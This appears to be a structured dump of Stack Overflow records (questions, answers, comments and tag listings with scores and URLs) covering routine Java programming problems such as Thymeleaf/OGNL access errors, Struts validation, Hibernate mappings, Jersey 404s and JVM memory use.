has body: I'm new to web dev and I'm trying Thymeleaf template engine on App Engine. It has worked fine so far, except I always get java IllegalAccessException's when I attempt method (as opposed to simple attribute) access. For example, with this line of HTML: &lt;div class="panel" th:id="${item.getWebId()}"&gt; I get: java.lang.IllegalAccessException: Method [public java.lang.String myapp.ItemInfo.getWebId()] cannot be accessed. at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:851) This happens both on dev server (Win Vista) and in production with GAE SDK's 1.9.0 and 1.8.9. I've tried the current TL (2.1.2) and the previous version (2.0.20). I'm not using Spring. I've found others having reflection problems (here and here) on the TL forum, but nothing that helps. Some people using Struts or Spring encountered similar problems a long time ago, and resolved them by setting OgnlRuntime.setSecurityManager(null). I haven't pursued this because I can't see how to access the OgnlRuntime object in TL, and it doesn't make much sense to me that I would be the only TL user to need this. Looking at OgnlRuntime v3.0.6 (here) it looks like the easiest solution would be to disable 'checkPermission', but again, as someone new to TL, I'm hesitant to make a change that TL doesn't expose, and that no one else using TL seems to need to do. There must be something else wrong?
type: AnsweredQuestion
score: 1

http://stackoverflow.com/q/22189897
favorite count: 0
has answer: http://stackoverflow.com/a/46538575
has comment: http://stackoverflow.com/comment/33683597
type: Question
has body: I have a project that converts .class files to .java file, during the research I've found that Proycon is a java library that helps to do this. unfortunately I couldn't find any proper documentation for Proycon. anybody having experience using this, if yes please tell me which method I have to use for converting .class to .java file and to print it in to console?
tagged with: converters
has comment: http://stackoverflow.com/comment/33684060
upvote count: 2
answer count: 3
has comment: http://stackoverflow.com/comment/33683732
downvote count: 1
tagged with: java
has answer: http://stackoverflow.com/a/22193917
has comment: http://stackoverflow.com/comment/33897751
tagged with: class
has title: Decompile .class File to .java File using Proycon
linked to: http://stackoverflow.com/q/1403788
linked to: http://stackoverflow.com/q/5107187
type: UnansweredQuestion
score: 1
has answer: http://stackoverflow.com/a/22193888
has comment: http://stackoverflow.com/comment/33684175

http://stackoverflow.com/q/22193539
upvote count: 1
tagged with: struts-1
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33736716
type: Question
has comment: http://stackoverflow.com/comment/33735870
has answer: http://stackoverflow.com/a/22220525
has comment: http://stackoverflow.com/comment/33737911
has title: Struts validation username and password not working
tagged with: validation
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/33691634
favorite count: 0
has body: I am using struts1 and also using validation for username and password.see the below code register.jsp <%@taglib uri="http://struts.apache.org/tags-bean" prefix="bean"%> <%@taglib uri="http://struts.apache.org/tags-html" prefix="html"%> <%@taglib uri="http://struts.apache.org/tags-logic" prefix="logic"%> <bean:message key="my.title" /> <bean:message key="my.un" /> <html:errors property="userName" /> <bean:message key="my.pwd" /> <html:errors property="password" /> <bean:message key="my.btn.cap" /> <logic:notEmpty name="msg" scope="request" > <bean:write name="msg" scope="request" /> </logic:notEmpty> RegisterForm.java package com.rajeev.form; import org.apache.struts.validator.ValidatorForm; public class RegisterForm extends ValidatorForm { String userName,password; public String getUserName() { return userName; } public void setUserName(String userName) { this.userName = userName; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } } RegisterAction.java package com.rajeev.action; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.struts.action.Action; import org.apache.struts.action.ActionForm; import org.apache.struts.action.ActionForward; import org.apache.struts.action.ActionMapping; import com.rajeev.form.RegisterForm; public class RegisterAction extends Action { public RegisterAction() { System.out.println("RegisterAction const"); } @Override public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { System.out.println("in execute method"); RegisterForm registerForm = (RegisterForm) form; String userName = registerForm.getUserName(); String password = registerForm.getPassword(); if (userName.equals("Rajeev") && password.equals("java")) { request.setAttribute("msg", "valid"); return mapping.findForward("result"); } else { request.setAttribute("msg"…
accepted answer: http://stackoverflow.com/a/22220525
score: 1

http://stackoverflow.com/a/22292319
has comment: http://stackoverflow.com/comment/33873094
has comment: http://stackoverflow.com/comment/33890359
upvote count: 4
type: AcceptedAnswer
downvote count: 0
score: 4
answers question: http://stackoverflow.com/q/22291894
has body: Servlet are web components that are not being created by Spring container, based on that lifecycle is not managed by the container and a lot of stuff that spring provides such as autowired or aspect can not run from them. You need to indicate to the spring container that a component was created outside of IoC container and need to be part of it. And as the API said SpringBeanAutowiringSupport is for: Convenient base class for self-autowiring classes that gets constructed within a Spring-based web application This generic servlet base class has no dependency on the Spring ApplicationContext concept. There is another way to indicate servlets being created by spring container using an interface
type: Answer
accepted answer of: http://stackoverflow.com/q/22291894

http://stackoverflow.com/comment/33717332
comment on: http://stackoverflow.com/q/22208490
type: Comment
type: QuestionComment
has text: It's (sort of) reasonable to use hash code for a cache, if you (similarly to the internals of a hash table) check the "real" key value after using the hash for lookup. If you get a mismatch you simply cache the new value (and "real" key) in place of the old. This form of cache management is commonly used in hardware (for "page tables", etc).
score: 0

http://stackoverflow.com/comment/140047051
score: 0
type: AnswerComment
type: Comment
has text: OP is using log4j 1.x, how this answer for log4j2 helps?
comment on: http://stackoverflow.com/a/22296362

http://stackoverflow.com/q/22299075
tagged with: char
has answer: http://stackoverflow.com/a/22299412
has answer: http://stackoverflow.com/a/22299713
has body: I need to count the amount of a specific character in a file. The user will specify the char I just need to check how many chars there is in a file. package assignmentoneqone; import java.util.Scanner; import java.io.FileReader; import java.io.File; import java.io.IOException; /** * * @author Hannes */ public class AssignmentOneQOne { /** * @param args the command line arguments */ public static void main(String[] args) { // TODO code application logic here Scanner kb = new Scanner(System.in); String fileLoc; String userChar; //User specify the file and character System.out.println("Enter the file name"); fileLoc = kb.nextLine(); System.out.println("Enter a character"); userChar = kb.nextLine(); File file = new File(fileLoc); try { FileReader fw = new FileReader(file); This is where I should do my search for characters. } catch(IOException e) { System.out.println("The file does not exist."); } } }
has answer: http://stackoverflow.com/a/22299178
tagged with: count
answer count: 4
linked to: http://stackoverflow.com/q/5868369
type: UnansweredQuestion
tagged with: loops
has answer: http://stackoverflow.com/a/22299144
tagged with: java
has title: Java count spesific char in file
type: Question
tagged with: search
score: 0

http://stackoverflow.com/a/22264829
answers question: http://stackoverflow.com/q/22264809
upvote count: 2
has body: Your parent thread is closing the PrintWriter pw before the child Threads t1 and t2 can use it to print. You need to have your parent thread call wait() after you've started your child Threads. You should review the answer to How to make a Java thread wait for another thread&#39;s output? for some help. You can use this information to discover how to solve this issue from a code-standpoint; it's fairly simple. Note: you have edited your question since this answer was posted; the answer to the following question is even more relevant: Wait until child threads completed : Java Other useful SO questions with applicable answers that you should read: A simple scenario using wait() and notify() in java How to use wait and notify in Java? Wait function in Java Java Wait Function Wait() / notify() synchronization See also Java Concurrency Tutorial.
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/a/22289199
has body: That chunk with all the ?: operators is just grid_idx - grid_idx % 3 + cell_idx / 3
downvote count: 0
answers question: http://stackoverflow.com/q/22289144
type: Answer
upvote count: 3
score: 3

http://stackoverflow.com/q/22273270
type: Question
accepted answer: http://stackoverflow.com/a/22273324
tagged with: android-service
upvote count: 0
score: -2
answer count: 1
has comment: http://stackoverflow.com/comment/33834083
tagged with: android
favorite count: 0
has comment: http://stackoverflow.com/comment/33834159
has answer: http://stackoverflow.com/a/22273324
downvote count: 2
type: AnsweredQuestion
has body: I am trying to use sharedpreferences to save an array of boolean and retrieve it by a service when the application is closed. I am experiencing the following error on launch i do not understand it 03-08 20:21:36.670: E/AndroidRuntime(346): FATAL EXCEPTION: main 03-08 20:21:36.670: E/AndroidRuntime(346): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.GhattasAk.RingMe/com.GhattasAk.RingMe.Main}: java.util.NoSuchElementException 03-08 20:21:36.670: E/AndroidRuntime(346): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1647) 03-08 20:21:36.670: E/AndroidRuntime(346): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:1663) 03-08 20:21:36.670: E/AndroidRuntime(346): at android.app.ActivityThread.access$1500(ActivityThread.java:117) 03-08 20:21:36.670: E/AndroidRuntime(346): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:931) 03-08 20:21:36.670: E/AndroidRuntime(346): at android.os.Handler.dispatchMessage(Handler.java:99) 03-08 20:21:36.670: E/AndroidRuntime(346): at android.os.Looper.loop(Looper.java:123) 03-08 20:21:36.670: E/AndroidRuntime(346): at android.app.ActivityThread.main(ActivityThread.java:3683) 03-08 20:21:36.670: E/AndroidRuntime(346): at java.lang.reflect.Method.invokeNative(Native Method) 03-08 20:21:36.670: E/AndroidRuntime(346): at java.lang.reflect.Method.invoke(Method.java:507) 03-08 20:21:36.670: E/AndroidRuntime(346): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839) 03-08 20:21:36.670: E/AndroidRuntime(346): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597) 03-08 20:21:36.670: E/AndroidRuntime(346): at dalvik.system.NativeStart.main(Native Method) 03-08 20:21:36.670: E/AndroidRuntime(346): Caused by: java.util.NoSuchElementException 03-08 20:21:36.670: E/AndroidRuntime(346): at java.util.StringTokenizer.nextToken(StringTokenizer.java:272) 03-08 20:21:36.670: E/AndroidRuntime(346): at com.GhattasAk.RingMe.Main.onCreat…
tagged with: java
has title: Error in using sharedpreferences

class
tags question: http://stackoverflow.com/q/22290406
tags question: http://stackoverflow.com/q/22174492
tags question: http://stackoverflow.com/q/22264339
tags question: http://stackoverflow.com/q/22277615
tags question: http://stackoverflow.com/q/22238903
tags question: http://stackoverflow.com/q/22214457
tags question: http://stackoverflow.com/q/22264689
tags question: http://stackoverflow.com/q/22182290
tags question: http://stackoverflow.com/q/22271948
tags question: http://stackoverflow.com/q/22196718
tags question: http://stackoverflow.com/q/22285715
tags question: http://stackoverflow.com/q/22283358
tags question: http://stackoverflow.com/q/22311374
tags question: http://stackoverflow.com/q/22211952
tags question: http://stackoverflow.com/q/22327009
tags question: http://stackoverflow.com/q/22217833
tags question: http://stackoverflow.com/q/22261199
tags question: http://stackoverflow.com/q/22327060
tags question: http://stackoverflow.com/q/22297722
tags question: http://stackoverflow.com/q/22279181
tags question: http://stackoverflow.com/q/22306448
tags question: http://stackoverflow.com/q/22289859
tags question: http://stackoverflow.com/q/22273856
tags question: http://stackoverflow.com/q/22243651
tags question: http://stackoverflow.com/q/22260405
tags question: http://stackoverflow.com/q/22232831
tags question: http://stackoverflow.com/q/22180615
tags question: http://stackoverflow.com/q/22255788
tags question: http://stackoverflow.com/q/22284202
type: Tag
tags question: http://stackoverflow.com/q/22284003
tags question: http://stackoverflow.com/q/22272935
tags question: http://stackoverflow.com/q/22309440
tags question: http://stackoverflow.com/q/22196185
tags question: http://stackoverflow.com/q/22174413
tag name: class
tags question: http://stackoverflow.com/q/22192553
tags question: http://stackoverflow.com/q/22188868
tags question: http://stackoverflow.com/q/22205112
tags question: http://stackoverflow.com/q/22189897
tags question: http://stackoverflow.com/q/22240078
tags question: http://stackoverflow.com/q/22190117
tags question: http://stackoverflow.com/q/22317024
tags question: http://stackoverflow.com/q/22194523
tags question: http://stackoverflow.com/q/22272372
tags question: http://stackoverflow.com/q/22310592
tags question: http://stackoverflow.com/q/22192188
tags question: http://stackoverflow.com/q/22245024
tags question: http://stackoverflow.com/q/22271416
tags question: http://stackoverflow.com/q/22217200
tags question: http://stackoverflow.com/q/22206760

http://stackoverflow.com/comment/42754457
type: QuestionComment
score: 0
has text: can you share your result against this problem?
comment on: http://stackoverflow.com/q/22204025
type: Comment

http://stackoverflow.com/q/22280562
score: 0
has title: How to find different occurrences of a substring in a string using regex?
answer count: 3
has body: Basically what I want to do is this: String mystr = "hello Benjamin Benny Benn hey hey"; String pattern = "Be"; Desired list = {"Benjamin","Benny","Benn"}; I know how to do this in a really simple way. What I am looking for is a fast way to do it based on regex or whatever that works for me. I want a list of all sub-strings(words) starting with a specific pattern.
has comment: http://stackoverflow.com/comment/33847791
has answer: http://stackoverflow.com/a/22289899
type: UnansweredQuestion
tagged with: regex
has answer: http://stackoverflow.com/a/22280768
tagged with: expression
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22280600
tagged with: substring

bufferedreader
tags question: http://stackoverflow.com/q/22179587
tags question: http://stackoverflow.com/q/22277051
tags question: http://stackoverflow.com/q/22270287
tags question: http://stackoverflow.com/q/22275438
tags question: http://stackoverflow.com/q/22262334
tags question: http://stackoverflow.com/q/22251287
tags question: http://stackoverflow.com/q/22289752
tags question: http://stackoverflow.com/q/22241966
tags question: http://stackoverflow.com/q/22254573
tags question: http://stackoverflow.com/q/22282991
tags question: http://stackoverflow.com/q/22296698
tags question: http://stackoverflow.com/q/22223426
tags question: http://stackoverflow.com/q/22255425
tags question: http://stackoverflow.com/q/22203651
tags question: http://stackoverflow.com/q/22225529
tag name: bufferedreader
type: Tag

http://stackoverflow.com/q/22324425
has title: Exception in thread "main" java.lang.RuntimeException
has body: I am working on Java SWT for windows application. In this project I need to check whether a phone device is connected to system or not. For this I used JMTP.jar and org.eclipse.swt.win32.win32.x86-3.5.1.jar My code is PortableDeviceManager manager = new PortableDeviceManager(); manager.refreshDeviceList(); PortableDevice device[] = manager.getDevices(); But I am getting this error while creating object for PortableDeviceManager. Exception in thread "main" java.lang.RuntimeException: probleem met de com at jmtp.PortableDeviceManagerImplWin32.&lt;init&gt;(PortableDeviceManagerImplWin32.java:52) at jmtp.PortableDeviceManager.&lt;init&gt;(PortableDeviceManager.java:34) at FindFile.main(FindFile.java:96) System configurations: Windows xp 32 bit and JDK 1.7 32 bit. Can anyone please help me on this.
tagged with: communication
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: swt
answer count: 0
score: 1
has comment: http://stackoverflow.com/comment/33925431
tagged with: java
upvote count: 1
tagged with: jmtp
type: Question

http://stackoverflow.com/a/22189612
has body: Swapping code is incorrect. It should be if(computerSizes[i].compareTo(computerSizes[i+1]) == 1){ Computer temp = computerSizes[i] computerSizes[i] = computerSizes[i+1]; computerSizes[i+1] = temp ; }//end if
answers question: http://stackoverflow.com/q/22189534
score: 0
type: Answer

http://stackoverflow.com/a/22203200
type: Answer
score: 33
accepted answer of: http://stackoverflow.com/q/22201620
has body: First a few things which you may already know but are important to understand the situation: most of the memory your program uses is the JVM heap. The heap has an initial size when your program starts executing. Sometimes the JVM will ask the OS for more memory and increase the size of the heap. The JVM will also perform garbage collection, thus freeing space in the heap. When the used heap size diminishes, memory is not necessarily released by the JVM. The oracle JVM is reluctant to do so. For example if your program uses 500 MB of ram on startup, then after garbage collection only uses 100 MB for most of its execution, you cannot assume the additional 400 MB will be given back to your OS. Furthermore, tools like the windows task manager (and I assume unix's ps) will display the size of all the memory that is allocated to the JVM, regardless of whether this memory is actually used or not. Tools like jvisualvm will let you see exactly how the memory is used in your java program, and in particular what amount of heap you're actually using vs. how much is allocated. With this in mind I tested your program in the following scenarios. Note that this depends on many factors including which JVM you use, its version, and probably your OS too. Standard java (SE) vs Spring. Garbage collection (GC) vs none (NOGC) (I called the garbage collector from jvisualvm). Minimum heap size defined for the JVM (using -Xmx8M). This tells the JVM to only allocate 8MB on startup. The default on my system is 256MB. For each case I report the allocated heap size and used heap size. Here are my results: SE, NOGC, 256M : 270 MB allocated, 30 MB used Spring, NOGC, 256M : 270 MB allocated, 30 MB used These results are identical, so from your question I assume you already had a different environment than I did. SE, GC, 256M : 270 MB allocated, 9 MB used Using the GC reduces heap usage, but we still have the same allocated memory SE, NOGC, 8M : 9 MB allocated, &lt;5 MB used Spring, NOGC, 8M : 20 MB…
answers question: http://stackoverflow.com/q/22201620
has comment: http://stackoverflow.com/comment/33736056
upvote count: 33
has comment: http://stackoverflow.com/comment/83121756
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33741179
has comment: http://stackoverflow.com/comment/33735957

http://stackoverflow.com/comment/33899765
type: QuestionComment
has text: In your sort method, `word` is the empty string. You're overwriting all values of your input array with this, and trying to access a character that doesn't exist.
comment on: http://stackoverflow.com/q/22309614
score: 0
type: Comment

http://stackoverflow.com/comment/33661953
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22177844
score: 2
has text: I know it is difficult to second guess what the OP wanted, but I'm not sure posting syntactically invalid code is a great idea. Prehaps combine the middle `else` into the if (making it `else if(num2 < num3)`...)

http://stackoverflow.com/comment/33648215
type: QuestionComment
type: Comment
score: 2
comment on: http://stackoverflow.com/q/22170202
has text: might i ask why you don't use the methode java.awt.geom.Rectangle2D r = java.awt.Shape.getBounds2D()?

http://stackoverflow.com/a/22199802
score: 2
answers question: http://stackoverflow.com/q/22196101
has body: What you appear to be trying to achieve is polyphonic pitch detection. It is a hard and at best an approximate process, and difficult to make work in the general case. The fundamental problem you will face is superposition of the harmonics on any real instrument sound. At a fundamental level, consonance works because harmonics from the constituent notes of a chord align. These may result in spectral peak at a frequencies which are not the fundamental of one of the notes in the chord. Additional problems you need to deal with are instruments whose spectral peak is not their fundamental, percussive sounds at the start of noted - whose spectra looks more like noise. It is likely that a statistical approach is required to unpick superposition of notes, possibly with some a priori knowledge of the spectral characteristics of the instrument in question. /FFT computation analyzed data is in audioDataAnalyzis computeAutocorrelation(); I was a bit confused by this comment. Autocorrelation is not the FFT. In general, autocorrelation is considered a poor choice of algorithm for frequency detection on real world audio signals. For polyphonic pitch detection you may be better of using an FFT approach - however - this is not particularly straightforward either. Finally, there is a large body of research into this problem space - usually in the context of audio feature extraction. I suggest having a look at Sonic Visualiser - for which open-source pitch analysis plug-ins exist.
downvote count: 0
type: Answer
upvote count: 2

m2e
type: Tag
tag name: m2e
tags question: http://stackoverflow.com/q/22281653

http://stackoverflow.com/a/22293222
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/33896290
has body: Netbeans is a good IDE but for java i prefer IntelliJ idea there is a community version free of charge you could try it, link below. http://www.jetbrains.com/idea/
type: Answer
has comment: http://stackoverflow.com/comment/78695151
score: 1
answers question: http://stackoverflow.com/q/22292888
has comment: http://stackoverflow.com/comment/33870076

http://stackoverflow.com/comment/33790306
type: Comment
comment on: http://stackoverflow.com/a/22249189
score: 0
type: AnswerComment
has text: I'm not sure that it's a good idea to do that, because you will certainly not choose a team two times, but you will not choose 3 teams, but a random number of teams between 1 and 3. If you want to do that, you should decrease `i` if `check[chooseTeam]!=0` to allow the loop to do one more iteration.

http://stackoverflow.com/a/22263924
upvote count: 5
has body: You are repeatedly calling nextInt(), but not testing to see if there is a next int. Change this for(int i=0; i&lt;storage.length; i++) { storage[i]=scanman.nextInt(); } to this for(int i=0; i&lt;storage.length &amp;&amp; scanman.hasNext(); i++) { storage[i]=scanman.nextInt(); } You'll need to determine if this is acceptable given your requirements, and if not, figure out why storage.length and the number of int-inputs are different than you expect.
score: 5
answers question: http://stackoverflow.com/q/22263906
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22263906

http://stackoverflow.com/a/22173553
has comment: http://stackoverflow.com/comment/33699653
downvote count: 0
upvote count: 2
type: Answer
has body: UnsupportedClassVersionError means that you have some code compiled with a newer JDK, but are running on an older JRE. In your case, version 51.0 refers to Java7 (which some library that you're using has been compiled with - in your case it seems like the servlet API), and you're running with a previous version, most likely Java6. Make sure that you're using Java7 and the problem will go away.
answers question: http://stackoverflow.com/q/22172328
score: 2
has comment: http://stackoverflow.com/comment/33717658

http://stackoverflow.com/comment/33776405
score: 0
comment on: http://stackoverflow.com/q/22241268
type: QuestionComment
type: Comment
has text: I'm creating a JList of commands that the user inputs. The JList tracks the previous commands of the user so if the user wants to repeat a command, they should be able to click on it from the JList. @JasonC

http://stackoverflow.com/comment/33904318
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/22312133
has text: How often are you going to read or change particular value from a single field on the Board ?

http://stackoverflow.com/a/70331744
score: 5
answers question: http://stackoverflow.com/q/22231257
upvote count: 5
type: Answer
has body: I see that there is no algo for java so adding it as well: String generateCusipCheckDigit(String cusip) { final String alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ*@#"; int sum = 0; int value = 0; char[] cusipChars = cusip.toUpperCase().toCharArray(); for (int i = 0; i < cusipChars.length; i++) { char actualChar = cusipChars[i]; if (Character.isDigit(actualChar)) { value = Integer.parseInt(String.valueOf(actualChar)); } else if (Character.isAlphabetic(actualChar)){ value = alphabet.indexOf(actualChar) + 10; } else if (cusipChars[i] == '*'){ value = 36; } else if (cusipChars[i] == '@'){ value = 37; } else if (cusipChars[i] == '#'){ value = 38; } if ((i % 2) != 0){ value *= 2; } value = (value % 10) + (value / 10); sum += value; } int check = (10 - (sum % 10)) % 10; return String.valueOf(check); } and some tests: @Test void checkDigitTest1(){ String actual = generator.generateCusipCheckDigit("925524BF"); Assertions.assertEquals("6", actual); } @Test void checkDigitTest2(){ String actual = generator.generateCusipCheckDigit("90284B96"); Assertions.assertEquals("2", actual); } @Test void checkDigitTest3(){ String actual = generator.generateCusipCheckDigit("90284B97"); Assertions.assertEquals("0", actual); }
downvote count: 0

http://stackoverflow.com/q/22302956
upvote count: 1
tagged with: http-status-code-404
type: Question
has title: Jersey - The requested resource (Not Found) is not available
has answer: http://stackoverflow.com/a/29213079
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33916373
has comment: http://stackoverflow.com/comment/33915156
answer count: 2
tagged with: jersey
downvote count: 0
has comment: http://stackoverflow.com/comment/33888749
favorite count: 0
has answer: http://stackoverflow.com/a/22306696
has body: It seems that any settings i try it doesn't work to access the methods in class. I keep getting 404 not found. This is the web.xml file: Restful Web Service com.sun.jersey.spi.container.servlet.ServletContainer com.sun.jersey.config.property.packages restfulexample.status 1 Restful Web Service / and this the java file inside src/main/java: package restfulexample.status; import javax.ws.rs.*; import javax.ws.rs.core.MediaType; @Path("v1/status") public class V1_status { @GET @Produces(MediaType.TEXT_PLAIN) public String returnTitle(){ return "Java restful api"; } }
has comment: http://stackoverflow.com/comment/33892975
type: UnansweredQuestion

http://stackoverflow.com/q/22238426
has comment: http://stackoverflow.com/comment/33771413
has body: The first class "cards" creates cards of different ranks and suits. It also includes a method to compare ranks of 2 cards. public class card implements Comparable { private int suit; private int rank; public card(int card) {rank = card % 13; suit = card / 13; } public int getSuit() {return suit;} public int getRank() { return rank;} public int compareTo(Object other) { card c = (card) other; if (getRank() &gt; c.getRank()) return 1; else if (getRank() &lt;c.getRank()) return -1; return 0; } public String toString() { String[] ranks = {"2", "3", "4" , "5", "6", "7" , "8", "9" , "10", "Jack", "Queen", "King", "Ace" }; String[] suits = {"Clubs", "Diamonds", "Hearts", "Spades"}; return ranks[getRank()] + " of " + suits[getSuit()]; } } The second class gives me 10 random cards in the hand1 ArrayList. import java.util.Collections; import java.util.ArrayList; import java.util.Random; public class Gin { public static void main(String []args) { ArrayList&lt;card&gt; deck = new ArrayList&lt;card&gt;(); Random r = new Random(); for (int i = 0; i &lt;52; i++) deck.add (new card(i)); //deal 10 cards to a hand from the deck ArrayList&lt;card&gt; hand1 = new ArrayList&lt;card&gt;(); card c; for (int i=0; i&lt;10;i++) { int pickACard = r.nextInt (deck.size()); c = deck.remove(pickACard); hand1.add(c); System.out.println (c); } System.out.println (" "); } } If the hand is not in order I'll use Collections.shuffle(hand1) to bogo sort.But how can I check if element 0 >= element 1 >= element 2>= element 3>= ect... in hand1? I tired writing a smaller portion of the code that will compare element 0 and 1 in hand1 below: if(hand1.get(0).compareTo(hand1.get(1)== 1)) System.out.print(hand1.get(0)); else if (hand1.get(0).compareTo(1)==-1) System.out.print (hand1.get(1)); else System.out.print ("Equal"); However I got the error "Incompatible types: card and int. Any help would be appreciated.
type: Question
tagged with: object
tagged with: compareto
has answer: http://stackoverflow.com/a/22238574
tagged with: arraylist
score: 0
tagged with: random
answer count: 1
has title: How to Bogo sorting playing cards value?
type: UnansweredQuestion
tagged with: java

http://stackoverflow.com/q/22220673
tagged with: ajax
has answer: http://stackoverflow.com/a/22223650
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/22223650
has comment: http://stackoverflow.com/comment/33743513
has comment: http://stackoverflow.com/comment/33743419
has body: I have this p:dataTable &lt;h:form id="forms" styleClass="tTablas" prependId="false"&gt; &lt;p:dataTable var="row" id="list" value="#{BB.dataTable}" rowIndexVar="i"&gt; &lt;p:column headerText="id"&gt; &lt;h:outputText value="#{row.id}" /&gt; &lt;/p:column&gt; &lt;p:columns var="fecha" value="#{BB.lFechaEntradaVigor}"&gt; &lt;f:facet name="header"&gt; &lt;h:outputText value="#{fecha}" /&gt; &lt;/f:facet&gt; &lt;h:outputText value="#{row.getCoste(fecha)}" styleClass="#{row.isValido(fecha)?'vigor':''}" rendered="#{!row.isUpdatable(fecha)}"&gt; &lt;f:convertNumber groupingUsed="true" minFractionDigits="2" /&gt; &lt;/h:outputText&gt; &lt;h:inputText value="#{BB.valor}" rendered="#{row.isUpdatable(fecha)}"&gt; &lt;f:convertNumber groupingUsed="true" minFractionDigits="2" /&gt; &lt;f:ajax render="@this" listener="#{grupoValoracionSiaBB.changeValor(fecha, row, i)}" /&gt; &lt;/h:inputText&gt; &lt;/p:columns&gt; &lt;/p:dataTable&gt; &lt;/h:form&gt; I did dataTable in this way because p:columns do not accept p:cellEditor and I need to know what column is updated, then I have created method changeValor(Date fecha, Object enitidad, Integer fila) and I call in f:ajax listener but do not fired. Any Idea??? THX
has comment: http://stackoverflow.com/comment/33741278
upvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33743145
tagged with: primefaces
score: 1
tagged with: java
type: Question
tagged with: jsf-2
downvote count: 0
has comment: http://stackoverflow.com/comment/33786484
has title: h:inputTex with f:ajax listener not fired in p:datatable and p:columns

http://stackoverflow.com/comment/33903536
type: Comment
type: QuestionComment
has text: In your example, you are overwriting the "xyz" key, so your map as listed contains a single item.
comment on: http://stackoverflow.com/q/22311619
score: 0

http://stackoverflow.com/comment/38420169
score: 0
type: Comment
comment on: http://stackoverflow.com/a/24761415
has text: It seems not to be a direct answer to this question, only somehow related. As the questioner seems to be only at basic level of Java you might want to add that required array for counting and enhance your question.
type: AnswerComment

http://stackoverflow.com/comment/33953912
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22329088
type: AnswerComment
has text: BTW, I have another question about quickfixj and it hasn't solved yet. Would you mind taking a look at it: http://stackoverflow.com/questions/22004162/weird-behavior-of-quickfix-j-after-sent-test-request-test-happens

http://stackoverflow.com/q/22319265
has body: Hi Could any one please help me to resolve this exception.Here I have entity class called Person and the Person class having the instance variable has name and petnames, here petnames I have taken as simple value type that data type is collection .just look at my following code and corresponding exception that is generating . And I am facing this exception from so many days.I am struggling to resolve this problem I don not where I am going wrong. Person Class private static final long serialVersionUID = 1L; @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; private String name; @ElementCollection @CollectionTable(name = "petname") // @Column(name = "ColumnName") private Set&lt;String&gt; petname = new HashSet&lt;String&gt;(); public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public void setPetname(Set&lt;String&gt; petname) { this.petname = petname; } public Set&lt;String&gt; getPetname() { return petname; } public boolean addPets(String p) { return petname.add(p); } @Override public int hashCode() { int hash = 0; hash += (id != null ? id.hashCode() : 0); return hash; } @Override public boolean equals(Object object) { // TODO: Warning - this method won't work in the case the id fields are not set if (!(object instanceof Person)) { return false; } Person other = (Person) object; if ((this.id == null &amp;&amp; other.id != null) || (this.id != null &amp;&amp; !this.id.equals(other.id))) { return false; } return true; } @Override public String toString() { return "com.myapp.struts.Person[ id=" + id + " ]"; } Exception: Initial SessionFactory creation failed.org.hibernate.MappingException: Could not determine type for: java.util.Set, for columns: [org.hibernate.mapping.Column(petname)] Exception in thread "main" java.lang.ExceptionInInitializerError at com.myapp.struts.NewHibernateUtil.&lt;clinit&gt;(NewHibernateUtil.java:28) at…
score: 0
answer count: 2
type: UnansweredQuestion
has title: @CollectionTable and @ElementCollection is generating exception
has answer: http://stackoverflow.com/a/22319371
tagged with: java
tagged with: hibernate
type: Question
has comment: http://stackoverflow.com/comment/33917844
has answer: http://stackoverflow.com/a/22319429
has comment: http://stackoverflow.com/comment/33916500

http://stackoverflow.com/comment/33756968
comment on: http://stackoverflow.com/q/22231063
type: Comment
type: QuestionComment
has text: Flush the streams after you write to them maybe? Also you should consider using ARM, or a try catch finally to manage those resources...
score: 0

http://stackoverflow.com/a/30403346
downvote count: 0
has body: You can also go to the bin folder inside your gradle installation folder and correct the JAVA_HOME parameter in gradle.bat file. In my case, my JAVA_HOME was set to c:\Program files\java\bin The JAVA_HOME in gradle.bat was set to %JAVA_HOME%\bin\java.exe. I corrected the JAVA_HOME in gradle.bat and it worked. Thank you!!!
type: Answer
score: 3
has comment: http://stackoverflow.com/comment/102997573
upvote count: 3
answers question: http://stackoverflow.com/q/22307516

http://stackoverflow.com/comment/33860814
type: Comment
comment on: http://stackoverflow.com/a/22287931
has text: If your source is in ET and that is different from EST, then why would this ever work? Are you using the formatter to parse the source or to output it? If you are parsing with the wrong locale then problems are to be expected. Figure out how Java calls 'ET' and use that name. Or better yet, show us a full example that demonstrates the issue. Hardcode a source date if you need to. We are now talking in the abstract. Having an example will clear things up quickly.
type: AnswerComment
score: 0

http://stackoverflow.com/q/22243320
answer count: 0
score: 1
tagged with: java
tagged with: http://stackoverflow.com/tag/json
upvote count: 1
type: Question
